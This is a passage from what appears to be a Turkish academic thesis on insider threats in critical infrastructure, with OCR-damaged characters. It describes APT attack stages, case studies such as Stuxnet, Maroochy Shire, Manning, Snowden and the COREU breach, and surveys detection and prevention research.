oltalama (spear phishing) olarak adlandirilan saldir1 tipinde hedefin kim olacag: da bilgi
toplama asamasinda belirlenir ve en zayif halka hedef olarak secilir. Cogunlukla Microsoft
Word veya Adobe PDF belgesi gibi bir ek icerir ve bu ek kurum i¢i aga erisilmesine sebep

olacak ilk adimi olusturur.
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Istismar (Somiirme)
Somiirii asamasinda, kotii amagh yazilim kodu hedef agda, uzaktan veya otomatik olarak
yiiriitiliir ve hedeflenen bilgi sistemine erisimi saglamak i¢cin mevcut giivenlik agiklarindan

yararlanir.

Kurulum

Sistemin sOmiiriilmesi basarili olduktan sonra, kotii amach yazilim kodu kendisini
hedeflenen bilgi sistemine yliklemeye calisacaktir. Bu noktada ag erisimi varsa, zararh
yazilim, digsaridan giincellemeler ve yazilimlar indirmeye baslayacaktir. Bu giincellemeleri

kendini daha fazla gizlemek ve iz siiriilemez hale getirmek i¢in kullanabilir.

Komuta ve Kontrol

Bu asama C2 (Command and Control) olarak adlandirilabilir. Bu asama saldirganin iletigim
kodlarint hedef aga yerlestirdigi asamadir. Bu yazilim, saldirganin ortamdaki tehdit kodunu
tamamen yonetmesine ve saldirganin agda daha derin bir sekilde hareket etmesine, veri

gondermesine ve arkasinda biraktig1 izleri yok etmesine olanak saglar.

Hedeflenen Eylem

Hedef sistem ele gecirildikten sonra, saldirgan amacina ulasmak ic¢in cesitli eylemler
gerceklestirir. Veri ¢calma, degistirme ve silme, bulundugu yerden baska bir sisteme sigrama,
gibi eylemler oOrnek gosterilebilir. Asil hedefine ulagsmak i¢in yapmasi gereken

tim eylemlerin yapildigi son agsamadir.

3.3.2. Gelismis 1srarci tehdit ve i¢ tehdit iliskisi

Gelismis 1srarci tehdit sadece yukarida tanimlanan kendi 6zellikleri itibariyle dahi biiyiik bir
risk faktorii iken i¢ tehdit ile birlesmesiyle beraber sorun ikiye katlanmaktadir. Bu iligkinin
temel sebebi i¢ tehdit unsurlarinin genellikle maddi ¢ikar motivasyonu ile hareket etmesidir.
GIT’ler ise yiiksek kaynaklara sahiptirler ve miimkiin oldugu kadar tespit edilmeden
ilerlemek istemektedirler. Tespit edilmeden hedefe ulasmanin 6nemli yollarindan birisi ise
iceriden degerli bilgileri alabilmektir. Bu nedenle GIT’ler genellikle i¢ tehditlerden
faydalanmaktadirlar [93].
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Bununla beraber GIT’ler ve i¢ tehditler geleneksel saldir1 yontemlerinden ayrilan bazi

benzer ozelliklere sahiptir [94]:

e Saldirilar1 ayrintili planlama gerektirir ve tespitten kacinmak i¢in uzun bir siirece
yayllmaktadirlar. I¢ tehdit unsurlari mevcut giivenlik kontrollerinin farkinda
olduklarindan, saldirilarinin planlanmasinda GIT'lere gore potansiyel bir avantaja
sahipler. I¢ tehdidin ayricalikl1 bir pozisyonda (bir ydneticinin konuslandirilmis giivenlik
mekanizmalar1 hakkinda bilgi sahibi olmasi ve potansiyel olarak onlar1 kontrol etmek i¢in
erisim haklarina sahip olmasi gibi) bulunmasi durumunda avantaj daha biiytiktiir.
Bununla birlikte, mevcut tecriibeler GIT'lerin altyap:r hakkinda onceden bilgi sahibi
olmadan da algilamadan kaginirken hedeflerine ulagsmay1 basardiklarini gostermistir.

e Her iki grup da sosyal miihendislik ve aldatma dahil olmak iizere hedeflerine ulagmak
icin tim olast saldir1 yollarini arastirmak i¢in 6nemli miktarda zaman harcamaya
isteklidir. GIT gruplari, 6nemli kaynaklara (finansal, teknik, istihbarat) erisimi olan
yiiksek vasifli kisilerden olusan ekiplere sahiptirler. Kotii niyetli i¢ tehditler, cogunlukla
yalniz ¢aligsalar da, Manning ve Snowden olaylarinda oldugu gibi, teknik olarak iyi
gelismis olabilmektedir.

e Her ikisi de niifuz edilen altyapiya erisimi korumak ve verilerin kurum disina taginmasini

miimkiin oldugu kadar siirdiirmek istemektedirler.

GIT ve i¢ tehdit arasinda sayilan benzerlikleri kuran ¢alisma [94], GIT lerin santaj ya da
riigvetle i¢ tehditleri kendilerine hizmet etmek amaciyla zorlamalar1 sebebiyle kotii niyetli i¢

tehdit unsurlarinin GIT lerin bir alt grubu olarak goriilmesi gerektigini belirtmektedir.

3.4. Kritik Altyapilarda i¢ Tehdidin Yer Aldig Siber Saldirilar

Siber savas ve siber saldirilarda kritik altyapilar saldirganlar i¢in 6ncelikli hedef konumunda
yer almaktadir. Kritik altyapilarda meydana gelen bircok saldir1 bulunsa da bu saldirilardan
i¢ tehdit etkisi bulunanlar ele alinmistir. Operasyonel teknolojiler ve endiistriyel kontrol
sistemleri, bilgi ve iletisim teknolojilerine nazaran daha kapali sistemler oldugu igin
saldirganlar tarafindan i¢ tehdit aktorleri daha ¢ok kullanilmaktadir. Bu yiizden de kritik
altyapilarda meydana gelen saldirilarda i¢ tehdit etkisi bulunma ihtimali yiiksektir.
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3.4.1. Stuxnet

Stuxnet Oncesinde de kritik altyapilarda birgok siber saldiri meydana gelmistir. Fakat
Stuxnet, karmagikligi, hedefe yonelik olmasi, kullandig1 yontemler ve verdigi zarar ile kritik
altyapilar i¢in bir doniim noktas1 olmustur. Belirtilen 6zellikleri nedeniyle de devlet destekli

oldugu diistiniilmektedir.

[Ik olarak Haziran 2010’da Virusblokada isimli bir firma tarafindan raporlanmistir.
Sonrasinda yapilan incelemeler solucanin sofistike yapisini ortaya ¢ikarmistir [95]. Stuxnet

solucani, sorunsuzca ilerleyen 3 asamadan olugsmaktadir:

Oncelikle kendini ¢ogaltmak ve vyayilmak icin Microsoft Windows makineleri
hedeflemektedir. Bu esnada daha sonradan ¢alint1 oldugu tespit edilen bir dijital sertifika ile
beraber sisteme kendini giivenilir bir kaynaktan gibi gostermekte ve saldir1 tespit
sistemlerinden bu sekilde kacinabilmektedir. Sistemler arasinda cogunlukla USB cihazi ile
taginmaktadir. Stuxnet solucaninin simdiye kadar 4 adet sifirinct giin ag181 kullandigi tespit
edilmistir ki bu agikliklarin 2’si solucanin yerel ag icinde kendi kendine yayilmasi amaciyla
diger ikisi bulastig1 sistemlerde hak yiikseltme amaciyla kullanilmistir. Tek bir sifirinct giin
ac1gin1 kesfedebilmek bile hayli yliksek teknik donanim gerektirdiginden 4 farkli sifirinci

giin ac¢1gmin bir arada bulunmasi giiclii kaynaklara isaret etmektedir.

Daha sonra ortamda bir SCADA yazilimi olan Siemens Step7°nin varligini arastirmaktadir.
Step7 Iran niikleer santrallerinde de kullanilan bir endiistriyel kontrol sistemleri yazilimidir

[96].

Son olarak, sistem igerisindeki PLC’leri kontrol ederek istenmeyen bicimde c¢aligmasina
neden olmaktadir. Stuxnet solucanimin hedefledigi SCADA yaziliminin ve PLC’lerin Iran’in
Natanz’daki uranyum zenginlestirme tesisinde bulunmasi, diinya genelinde %60°’1 agan bir
oranda Iran’1 etkilemesi ve solucanin 2009 yilinda ilk olarak Iran’da ortaya ¢ikmis olmast

Stuxnet’in hedefinde iran’in oldugunu kanitlamaktadir [97].

Stuxnet nihayetinde PLC’lerin kontroliinii ele aldiginda tesiste bulunan santrifiijlerin devre
dis1 kalmasimi saglayacak kadar hizli donmesine sebep olmus, bdylece bir¢ok santrifiijii

calismaz duruma getirerek Iran niikleer programima biiyiikk maddi zarar vermistir.
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Santrifiijlerin hizli donmesine saglayan Stuxnet ayn1 zamanda HMI’ya da siirecin normal

ilerledigi bilgisini gondererek kendini uzun siire gizlemistir.

Stuxnet kullandig1 yontem ve sisteme sizma evreleri agisindan bir GIT uygulamasidir [91].
Ayrica Stuxnet herhangi bir genis alan ya da internet baglantis1 olmayan kapali bir aga
sizdigindan dolay1 kapali aglarin giivenli oldugu algisini da yok etmistir. Tiim bu 6zellikler
yani Stuxnet’in bir GIT uygulamasi olmasi1 ve kapali bir aga sizmasi akillara i¢ tehdit
varligin1  getirmekedir. Nitekim, 2019°da yayimlanan bir haber bu diisiinceyi
dogrulamaktadir. Habere gore ABD ve Israil Iran’daki tesise sizmak igin Hollandalilardan
yardim istemistir. Hollandali istihbarat birimi AIVD ise aslen Iranli bir miihendis olan ve
kendi gorevlendirdigi bir kisiyi tesise sokmay1 bagarmistir. Sonrasinda bu kisi Natanz’daki
sistemlerle ilgili kritik bilgileri temin etmis ve Stuxnet zararli yazilimini barindiran USB

cihazini sistemde kullanmak suretiyle solucanin hedefine ulasmasini saglamistir [98-99].

3.4.2. Maroochy Shire kanalizasyon dokiintiisii

Mart 2000°de Avustralya Queensland’da yasanan olay bir i¢ saldirganin kritik altyapilara
yonelik gerceklestirebilecegi bir saldirinin ne kadar basit ve etkili olabildigini gostermesi
acisindan onemlidir. Olayda yaklasik 1 milyon litre kanalizasyon parklara, nehirlere ve bir

otelin bahgesine tasmistir [100].

Hunter Watertech (HWT) firmasi, 1997-2000 yillar1 arasinda Maroochy Shire atik su
sistemindeki 142 pompa istasyonuna kendi iriinii olan PDS Compact 500 RTU/PLC
cihazinin monte edilmesi projesini yiiriitmektedir. Vitek Boden de HWT firmasinda saha
denetcisi olarak c¢aligmaktadir. Boden, yasanan bir anlasmazlik sonucu 3 Aralik 1999
tarihinde firmasindan istifa etmistir. Bu olaydan sonra Boden, Maroochy Shire Konseyi’ne
yaptig1 ilk is bagvurusunda, daha sonra bagvurmasi cevabini almis, bir siire sonra tekrar

basvurduktan sonra ise red cevabi almistir.

Bu tarihten sonra atik su sisteminde kullanilan ve PDS Compact 500 cihazlarinin bulundugu
SCADA sisteminde iletisim kaybi, pompalarin kontroliiniin kaybolmasi, yanlis alarmlar ve
pompa istasyonlarinin ayarlarinda degisiklik gibi ilging hatalar yagsamaya baslamigtir. Vitek
Boden, sadece bir diziistii bilgisayar ve radyo vericisi kullanarak 28 Subat - 23 Nisan 2000

tarihleri arasinda toplamda 142 adet atik su pompa istasyonunu ele gegirebilmek amaciyla
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46 girisimde bulunmustur. Boden, 23 Nisan 2000 tarihinde 19:30 - 21:00 saatleri arasinda 4
numarali pompa istasyonunu kimligini kullanarak 4 farkli pompa istasyonunun alarmlarini
kapatmis ve pompa istasyonlarinin gorevini yapmasini engellemis, boylece 1 milyon litre

(264 000 galon) atik suyun kamusal alana sagilmasina sebep olmustur [101].

Boden bu olayi bir intikam olarak ger¢eklestirmistir. Sonucunda ise 2 yil hapis cezasi ile
cezalandirilmistir. Maroochy Shire olay1 6nceden sistemi ve isleyisini bilen bir i¢ saldirganin

dis kaynakli saldirganlara kars1 ne tiir iistlinliikleri oldugunu gostermektedir.

3.4.3. Manning vakasi

Chelsea Elizabeth Manning (6nceki adiyla Bradley Edward Manning) ABD ordusunda
istihbarat uzmani bir askerdir. ABD ordusunun 2004-2009 yillar1 arasinda Afganistan ve
Irak Savaglarinda tutmus oldugu kayitlar ve raporlarin bulundugu 750 000 gizli veya hassas
bilgiyi sizdirdigindan dolayr Mayis 2010°da gorev yaptig Irak’ta tutuklanmistir. Belirtilen
bilgiler icerisinde dost atesi ile hayatini kaybeden askerler, ABD’nin 2007 yilinda Bagdat’ta
bircok sivilin kaybina da yol agan hava saldirist ve 2009 yilinda Afganistan’da
gerceklestirdigi ¢arpict  goriintillere sahip Garani hava saldirist da bulunmaktadir.
Manning’in sizdirdig1 belgeler Nisan 2010 ile Nisan 2011 arasinda Wikileaks web sitesi ile
The Guardian, The New York Times ve Der Spiegel gazeteleri tarafindan yaymlamistir.
Manning internet iizerinden sohbet ederken sizdirdig1 bilgileri eski bir hacker olan Adrian
Lamo’ya itiraf etmistir. Lamo da Amerikali yetkililere haber vererek Manning’in

tutuklanmasini saglamistir.

Manning’in ge¢misinde de bilgisayarlar ile yakindan ilgili oldugu ve ABD ordusuna
katildigi donemde cinsiyet kimligi ile ilgili sorunlar yasadigi bilinmektedir. Istihbarat
uzmant olarak gorev yaptigindan gizli bilgilere erisimi bulunmaktadir. Manning, 6liim
cezasini gerektiren diigmana yardim sugu dahil 22 sugtan yargilanmistir ve 14 Agustos 2013

tarihinde 35 yil hapse mahktm edilmistir [102].

3.4.4. Edward Snowden

Snowden, sistem yoneticisi olarak gorev yapmis eski bir CIA c¢aliganidir. 2009 yilinda

CIA’den istifa ettikten sonra Dell ve Booz Allen Hamilton firmalarinda ¢alismistir. 2013
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yilina kadar bu firmalar biinyesinde siber giivenlik analisti olarak NSA ve CIA’ya
danismanlik ve teknik destekte bulunmustur. 5 Haziran 2013’te Hong Kong’ta bulundugu
sirada NSA’den sizdirdig1 bir¢ok gizli belgeyi ifsa etmis ve belgeler The Guardian ve The
Washington Post tarafindan yayinlanmistir. Gizli belgelerin ifsasi ile PRISM internet izleme
programini, Bes G6z olarak da bilinen UKUSA* anlagmasini ve birgok ticari ve uluslararasi
ortaklig1 aciga ¢ikarmistir [ 103]. PRISM programi ise Facebook, Google, Microsoft, Yahoo,
AOL, Paltalk, Skype ve Apple gibi sosyal medya ve teknoloji bilgilerinden topladigi
bilgilerle kisilerin 6zel hayatlarina ulasarak bilgilerini alabilmekte ve kisisel hesaplarina

dogrudan erigsebilmektedir [104].

Snowden ifsalar sirasinda ayricalikli kullanim hakkina sahiptir ve NSA verilerine sinirsiz

erisim hakki bulunmaktadir [103].

Tanik oldugu olaylar vicdanini yaralamis, onu rahatsiz etmis ve bunun bir insan haklari ihlali
oldugunu degerlendirmistir. Bu yiizden de gordiiklerini herkese duyurma kararini vermistir.
Snowden’in bilgi sizdirmadaki en biiylik motivasyonu halk adina yapilan fakat halka kars1
olan eylemler konusunda halki bilgilendirmektir. Amaci ise insanlarin kullandiklar

teknolojiler konusunda bilinglenmelerini saglamaktir [104].

Snowden, Hong Kong’dan Rusya’ya gegmis ve burada gegici sigima altina almmustir. ifsa
ettigi belgeler sonucu kisisel verilerin gizliligi ve ulusal giivenlik konularinda bir¢ok

tartigsma yasanmaistir.

3.4.5. Avrupa Birligi diplomatik agina sizilmasi

18 Aralik 2018 tarihli New York Times haberine gore Avrupa Birligi’nin diplomatik iletisim
ag1 3 yildan uzun siiredir saldirganlarin elinde ve binlerce diplomatik mesaj elde edilmistir
[105]. Haberde, s6z konusu bilgisayar korsanlig1 tekniginin Cin ordusununki ile benzerlik
gosterdigi iddia edilmektedir. Olayin arastirilmasi maksadiyla haberin dayandirildig: Areal

firmasina ait rapor incelenmistir [106].

4 Birlesik Krallik, ABD, Kanada, Avustralya ve Yeni Zelanda arasinda elektronik istihbarat alaninda is birligi yapilmasini
ongoren ¢ok tarafli bir anlagma.


https://www.wikizeroo.org/index.php?q=aHR0cHM6Ly90ci53aWtpcGVkaWEub3JnL3dpa2kvQmlybGUlQzUlOUZpa19LcmFsbCVDNCVCMWs
https://www.wikizeroo.org/index.php?q=aHR0cHM6Ly90ci53aWtpcGVkaWEub3JnL3dpa2kvQW1lcmlrYV9CaXJsZSVDNSU5RmlrX0RldmxldGxlcmk
https://www.wikizeroo.org/index.php?q=aHR0cHM6Ly90ci53aWtpcGVkaWEub3JnL3dpa2kvS2FuYWRh
https://www.wikizeroo.org/index.php?q=aHR0cHM6Ly90ci53aWtpcGVkaWEub3JnL3dpa2kvQXZ1c3RyYWx5YQ
https://www.wikizeroo.org/index.php?q=aHR0cHM6Ly90ci53aWtpcGVkaWEub3JnL3dpa2kvWWVuaV9aZWxhbmRh
https://www.wikizeroo.org/index.php?q=aHR0cHM6Ly90ci53aWtpcGVkaWEub3JnL3dpa2kvRWxla3Ryb25pa19pc3RpaGJhcmF0
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Raporda Cin Hiikiimet destekli Stratejik Destek Giicii (Strategic Support Force)’ niin
saldirtyr gerceklestirdigi ve hedefinde uluslararas1 kuruluslar, Dis Isleri Bakanliklari,
Ekonomi Bakanliklari, ticari birliktelikler ve diisiince kuruluslarinin da bulundugu 100°den

fazla organizasyonun bulundugu belirtilmistir.

COREU adli ag 28 AB iilkesi, AB Konseyi ve AB Komisyonu gibi birimler arasinda
islemektedir. Basaril1 bir sekilde erisimin saglanmasi oltalama yoluyla GKRY Dis Isleri
Bakanlig1 tlizerinden olmustur. Ag yoneticisi ve kidemli uzmanlarin kullanici adi ve
parolalar1 ele gecirilmis bdylece aga dogrudan giris saglanabilmis ve ayricalikli hesap
yetkilerine sahip olunmustur. Daha sonra PlugX zararli yazilimi ile agda kalic1 bir arka kap1
olusturulmus ve binlerce diplomatik mesaj ve belge saldirganlarin bilgisayarina

aktarilmistir.

Raporun saldiriyla ilgili degindigi 3 temel nokta bulunmaktadir:

e Qltalama, saldirganlarin bilgisayar aglarina sizmak i¢in kullandig1 baskin yontem olma
durumunu siirdiirmektedir.

e Siber saldirilar ¢1g gibi biiyliyen bir kartopundan ¢ok montaj hattina benzemektedir. Yani
saldirilar karmagsik olmaktan c¢ok 1srarci ve yaratici olarak tanimlanabilir. Siber
saldirilarin ¢cok az bir kismi miihendislik gerektirebilecek teknik bilgi ve donanima ihtiyag
duymaktadir. Bunun yerine bariz olmayan hedefleri belirleyebilmek ve oltalamadaki
yaraticilik daha etkili bir yontem olarak kullanilmaktadir.

e Siber aktorler, dijital giivenlik zincirindeki en zayif halkayi bulmak i¢in devamli olarak
hayal gii¢lerini kullanmaktadirlar. Cilink{i, agik olan bir yan kapidan girmek kilitli olan 6n
kap1y1 kirmaya galigsmaktan ¢ok daha kolaydir. Raporda bahsedilen agik yan kap1 ise cogu

zaman insandir.

3.5. Kritik Altyapilarin Siber Giivenliginde I¢ Tehdidin Tespiti ve Onlenmesine
Yonelik Yapilan Calismalar

I¢ tehdit dncelikle ABD olmak iizere birgok iilkeye, bir¢ok devlet kurumuna ve 6zel kuruma
zarar vermistir. Bu yiizden sadece akademik literatiirde degil o6zel siber gilivenlik
arastirmacilarinca ve g¢esitli kurumlarca da iizerinde durulan bir konudur. Tehdidin i¢
kaynakli olmasi, saldirganin ya da kuruma istemeden de olsa zarar veren kisinin kurumun

bilgi sistemlerine halihazirda mesru giris yetkisinin bulunmasi, genel olarak dis kaynakl
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tehditlere duyarli bircok giivenlik sistemini etkisiz kilmaktadir. Ayrica kotii niyetli bir i¢
saldirgan kurumdaki hassas kaynaklari, kurumun isleyis ve diizenini, aliman giivenlik
onlemlerini - ve belki de bunlarin nasil atlatilabilecegini - de bildiginden dis kaynakli
saldirgana gore ¢ok daha biiylik bir risk faktorii konumundadir. Bu hususlar i¢ tehdidi
arastirilmasi, incelenmesi ve tehdide kars1 etkili tespit ve savunma yontemleri gelistirilmesi

gereken zorlu bir miicadele alani haline getirmektedir.

Gao ve digerleri [107] SCADA sistemi tizerine bir takim komut ve yanit zerki saldirisi ve
hizmet dis1 birakma saldiris1 gergeklestirmislerdir. Kimlik dogrulama ve yetkilendirmenin
olmadigi bu tarz sistemlerde, Maroochy Shire kanalizasyon dokiintiisii olayinda oldugu gibi,
bir i¢ saldirganin bu tarz saldirilar1 gerceklestirme ihtimali hayli yiiksektir. Saldirilar ticari
bir SCADA kontrol sistemine ger¢eklestirilmis ve saldirtyla ilgili trafik bilgileri SCADA ag
islemleri veri kayit¢is1 kullanilarak elde edilmistir. Elde edilen trafik bilgisi yapay sinir
aglar1 temelli bir saldir1 tespit sistemini egitmek ve gecerliligini test etmek i¢in normal olarak
caligsan bir SCADA kontrol sisteminin trafik bilgisi ile birlikte kullanilmigstir. Saldir1 tespit
sistemi olarak Snort kullanilmistir. 3 asamal1 yapay sinir aglar1 temelli saldir1 tespit sistemi
yetkisiz yanitlarin tespiti i¢in kontrol edilen sisteminin fiziksel bir takim 6zelliklerinden
faydalanmaktadir. Sonug olarak, saldir1 tespit sistemi yetkisiz yanitlarin tespiti i¢in tatmin
edici sonuglar iretmistir. Arastirmacilar gelecek c¢alismalar i¢in dogrulun artirilmasina
yonelik girdi 6zelliklerinin gelistirilmesini ve yineleme saldirilarinin (replay attack) tespitine

yonelik 6zelliklerin tespit edilmesini 6nermislerdir.

Kim [108] i¢ tehdit kaynakli saldirilarin tespitine yonelik olarak halihazirda kullanilan
erisim kontrolii, kimlik yonetimi ya da kayit tutma sistemleri gibi bir¢cok farkli sistemin
yerine bir donanim ve TCP tiinellemesi yapabilen bir yazilim igeren biitiinlesik bir sistem
Oonermistir. Bu sistemin sunuculardaki kritik bilgiyi korumak i¢in sunucu ile kullanici
arasinda bir ag ge¢idi gibi konumlandirilabilecegini belirtmistir. Boylece sunucuya Telnet,
FTP gibi yontemlerle baglanan kullanicilar kontrol edilebilecek ve akilli paket filtreleme
yontemleri ile hassas bilginin kacirilmasi engellenebilmektedir. Ayrica gergeklestirilen tiim

islemler biitiinlesik sistem vasitasiyla kayit altina alinabilecektir.

Formby ve digerleri [109], 6zellikle enerji ve gii¢ sistemlerinde kullanilan akilli elektronik
aygitlar (intelligent electronic device, IED) i¢in kullanilabilecek kimlik dogrulamali giris

kontrolii ve diger giivenlik izlemeleri saglayabilecek bir fiziksel ag katmani Onermistir.
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IED’ler iizerinde USB, seri port, RJ-45 ve Ethernet gibi portlar bulunmaktadir.
Aragtirmacilar kritik arayiiz kilidi adin1 verdikleri cihaza saldirt tespit sistemi, USB takip
sistemi ve antiviriis gibi ¢esitli gilivenlik araglar1 yiikleyerek s6z konusu IED’leri ve
arayiizleri kontrol altina almay1 hedeflemislerdir. Yiiklenen gilivenlik araglar1 vasitasiyla
kullanicilar ile IED’ler arasinda bir ag arayiizii olusturan kritik arayiiz kilitleri, kullanici
kimlik dogrulama, giincelleme ve bakim, dosyalarin giivenilirlik ve biitiinliik kontrolii ile
trafik izlemesi gibi glivenlik tedbirleri saglayabilmektedir. Fakat kritik altyapr tesisleri, ag
ya da veri giris arayiizii barindiran bir¢ok cihazin bulundugu biiyiik endiistriyel kontrol

sistemleri i¢in bahsedilen yontemin 6l¢eklenebilir olmadigi degerlendirilmektedir.

Yilmaz ve digerleri [110], yaptiklar1 ¢alismada gergek PLC cihazlar1 kullanarak kurum
icinden hizmet dis1 birakma saldirilar1 gerceklestirmisler ve sonuglarini analiz etmislerdir.
Hizmet dig1 birakma saldirilart bilgi ve iletisim teknolojilerine nazaran zaman agisindan ¢ok
daha hassas olan endiistriyel kontrol sistemleri agisindan daha yikicidir. Saldirt sonuglarinin
analizinde EKS’ye ayricalikli erisim yetkisine sahip kullanicilarin mutlaka izlenmesi ve

kontrol altinda tutulmasi 6nerilmistir.

Mylrea ve digerleri [111], i¢ tehdit ve karmasik siber-fiziksel tehditlere kars1 bir I¢ Tehdit
Siber Glivenlik Cercevesi web aract onermislerdir. Arag, kurumlarin i¢ tehdit ve zafiyetlerini
tanimlamasina, korunmasina, tespit edebilmesine, kars1 koyabilmesine ve kurtarilmasina
yardimc1 olabilecek 30 en iyi Onlemi igermektedir. Calisma, 2 kullanim senaryosu
vasitastyla bu aracin etkinligini ve gecerliligini test etmektedir. Web araci kontrol listeleri
ve risk degerlendirmeleri kullanarak kurumlar i¢in kapsamli bir rapor sunabilmekte ve
sonucunda kurumsal siber giivenlik acisindan gelistirilmesi gereken yonleri ortaya

koyabilmektedir.

Lamba ve digerleri [112], i¢ tehditleri belirleyebilmek i¢in kullanicilarin yazilimlarda
biraktig1 izlerden faydalanarak olusturulacak grafik modelinden faydalanilabilecegini
belirtmislerdir. Kurumun yazilim sistemlerinde gezinen kullanicilar bilindigi gibi
kendilerine has izler birakmaktadirlar. Calisma, bu izlerden olusan aktivite ve kayitlarin
davranigsal yollara doniistiiriilebilecegini boylece bir kiimeleme algoritmasi kullanarak bu
davraniglarin  hangilerinin anormal olarak belirlenebilecegini ifade etmistir. Fakat,

sistemdeki normal olmayan davranislar bu sekilde belirlenebilecek olsa da tehdit olarak
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nitelendirilebilmesi i¢in organizasyon ve yazilim mimarisi bakimindan ilave ozelliklere

ihtiya¢ bulunmaktadir.

Bir diger ¢alisma [113], i¢ tehditten korunmak amaciyla sosyal (insanlar ve kurumu igeren),
mantiksal (teknik) ve fiziksel seviyeleri bulunan {i¢-katmanli bir gilivenlik mimarisi
Onermistir. Caligmaya gore i¢ tehditleri dnlemek, tespit etmek ve gerektiginde kurtarma
yapabilmek icin belirtilen seviyelerin tamaminin kapsandigi biitlinciil bir mimari
gerekmektedir. Arastirmaci, bu giivenlik mimarisinin finansal sektorleri ve kritik

altyapilarda da genis kullanim alani bulabilecegini degerlendirmektedir.

Bagka bir ¢alisma [114], i¢ tehdit sorunu ile miicadele etmek amaciyla yeni bir kimlik
dogrulama faktorii olarak “nerede oldugun” 6zelligini kullanmay1 6nermistir. Bilindigi lizere
kullanicilarin kimlik dogrulamasi “neye sahip oldugun” (kimlik, giris karti, sertifika vb.),
“neyi bildigin” (parola, kisisel bilgiler vb.) ve “ne oldugun” (parmak izi, retina gibi biyolojik
ozellikler) olmak iizere 3 temel faktor kullanilarak yapilmaktadir. Calisma, kullanicilarin
bileklik benzeri bir etiketi siirekli yanlarinda bulundurmasii gerektiren Gergek Zamanli
Konumlandirma Sistemi kullanilmasini 6nermektedir. Bu sayede anlik konum bilgisinin
giiclinden faydalanilarak diger 3 faktoriin barindirdigi zafiyetlerin oniine gecilebilecegi

boylece uygun bir i¢ tehdit 6nlem sistemi olusturulabilecegini 6ne siirmektedir.

Nasr ve Varjani [115], yaptiklar1 ¢alismada kritik altyapilarda i¢ kaynakli saldirilarin tespit
edilmesi amaciyla SCADA alarmlarindan faydalanilmasin1 6nermistir. SCADA sisteminde
meydana gelen alarmlar incelenerek sistemin normal davranisini tespit eden ve sonrasinda
bu normal davranisin disina ¢ikan davranislar zararli olarak adlandiran yeni bir istatistiksel
anomali tespit sistemi ortaya koymuslardir. Calisma sistemin normal davranisini belirlemek
icin operatdrlerin izlenmesini sart kosmamis bunun yerine bazi1 esik degerler
belirlenebilecegini, bu esik degerlerin disinda {iretilen alarmlarin da anomali olarak
degerlendirilebilecegini belirtmistir. Onerilen yontem birkag alt istasyon barindiran bir
SCADA simiilasyonunda 2 farkli i¢ tehdit saldiris1 ile degerlendirilmis ve anomalilerin tespit

edilebildigi gozlemlenmistir.

Virvilis ve digerleri yaptig1 caligmada [94] ise 6zellikle kritik altyapilara yonelen GIT ve i¢
tehditlerin ortak karakteristik 6zelliklerini géz 6niinde bulundurarak her iki gruba kars1 da

kullanilabilecek aldatma tekniklerinden faydalanilmasini 6nermistir. Kurumun i¢ ve dis
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kaynaklarin1 korumay: saglayabilecek bu teknikler ¢ok yonlii saldirilarin erkenden tespit
edilmesini saglayabilmektedir. Calisma, ayr1 ayri saldiri hazirligi (bilgi toplama) ve

sOmiirme/veri sizintis1 asamalarinda kullanilabilecek bir¢ok aldatma yontemi belirlemistir.

Ghafir ve digerleri [116] ¢alismalarinda 6zellikle kotii niyetli olmayan i¢ tehditleri hedef
alan giivenlik farkindalig1 egitimini dnermiglerdir. Bilindigi gibi, kotii niyetli olmayan i
tehditler hatali ve dikkatsiz kullanicilardan olusmaktadir. Meydana gelebilecek saldirilar ise
oltalama, yemleme ve baskasinin yerine gecme gibi sosyal miihendislik yontemlerinden
faydalanabilmektedir. Calisma, bu yontemlere karsi kullanicilarin egitilmesini saglayan
icerik tabanli bir masaiistii uygulamasi sunmaktadir. Uygulama 4 farkli durumda (Facebook
sitesi agildiginda, yiikli e-posta uygulamasi kullanildiginda, .exe uzantili bir dosya
calistirildiginda ya da 5 dakika boyunca bilgisayar kullanilmadiginda) ortaya ¢ikan pop-
uplar iretmektedir. Bu diyalog kutular1 ve pop-uplar ¢esitli modiillerle ilgili (parola
glivenligi, bilinmeyen baglantilara tiklamama, kaynagi bilinmeyen e-postalardaki ekleri
acmama gibi) uyarilar iretmektedir. Uyariya verilen tepkiye gore veri tabaninda bir kullanict
profili olusmakta ve sistem yoneticileri tarafindan kullanicilar bu sekilde egitilmekte ve

takip edilmektedir.

I¢ tehdidin kullanabilecegi en kolay ve en etkili yol olarak degerlendirdikleri USB bellek
icin yeni bir yontem Oneren bir diger calisma [117], bu amacla FPGA kartindan
yararlanmistir. ZedBoard isimli bir kart kullanan aragtirmacilar, kartin mantiksal boliimiinde
USB iletisimini yakalayan bir yazilim kullanarak zararli davraniglarini tespit etmeyi ve
engellemeyi hedeflemislerdir. Elde edilen paketler ile USB cihazin iiretici numarasi, cihaz
numarasi, USB adresleri ve istemci bilgileri elde edilebilmektedir. Bu sayede sistem
yoneticisi tarafindan cihaz ya da iiretici bazli olarak USB cihazlarina izin verilebilmekte ya
da engellenebilmektedir. Isletim sistemi bagimsiz olarak ¢alisan sistem FPGA donanimina

ihtiya¢c duymaktadir.

Hareketli hedef korumasi (Moving Target Defense, MTD) isimli yeni bir gilivenlik
konseptini i¢eren bir baska ¢alisma [118] i¢ tehditle miicadelede proaktif bir tutum takinmayi
onermistir. Hareketli hedef korumasi, bir¢ok farkli siber saldiridan korunmak ig¢in bilgi
teknolojileri altyapisinin dinamik bir bicimde sekil degistirmesi olarak aciklanabilir.
Boylece saldirganin muhtemel atak yiizeyi genisleyecek dolayisiyla hedef analiz maliyeti

yiikselecektir. MTD konseptine bagli olarak gelistirilen dinamik makine mutasyonu
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(Dynamic Host Mutation, DHM) mimarisinde 3 temel bilesen bulunmaktadir. Bunlar; ag
adresi mutasyonu, parmak izi mutasyonu ve tuzak diiglim noktasi olusturmadir. Ag adresi
mutasyonu ile agdaki makinalarin ve servislerin IP adresi, port numarasi, bulunduklari
platform ve yazilim bilgisi gibi temel bilgileri degisime ugramaktadir. Parmak izi mutasyonu
ile saldirganin i¢ agdaki kritik sunuculara erismesini engellemek amaglanmaktadir. Bu
maksatla agda sahte trafik yaratilarak i¢ saldirganin trafigi analiz ederek sunuculara
ulagmasinin oniine geg¢ilmesi hedeflenmektedir. Tuzak diiglim noktalar1 ise saldirganin - i¢
agda olsa bile - kritik sunucuyu ag taramasi sonucu bulabilmesinin engellenmesi amaciyla
kullanilmaktadir. Bu bilgiler bir kimlik dogrulama mekanizmasiyla mesru istemciler
arasinda paylasilmaktadir. Boylece kurum i¢inden baska bir kisinin hesabini ele gegirmis
olan bir maskeli i¢ saldirgan ag taramasi, trafik incelemesi gibi yontemlerle ya da cihazlarin

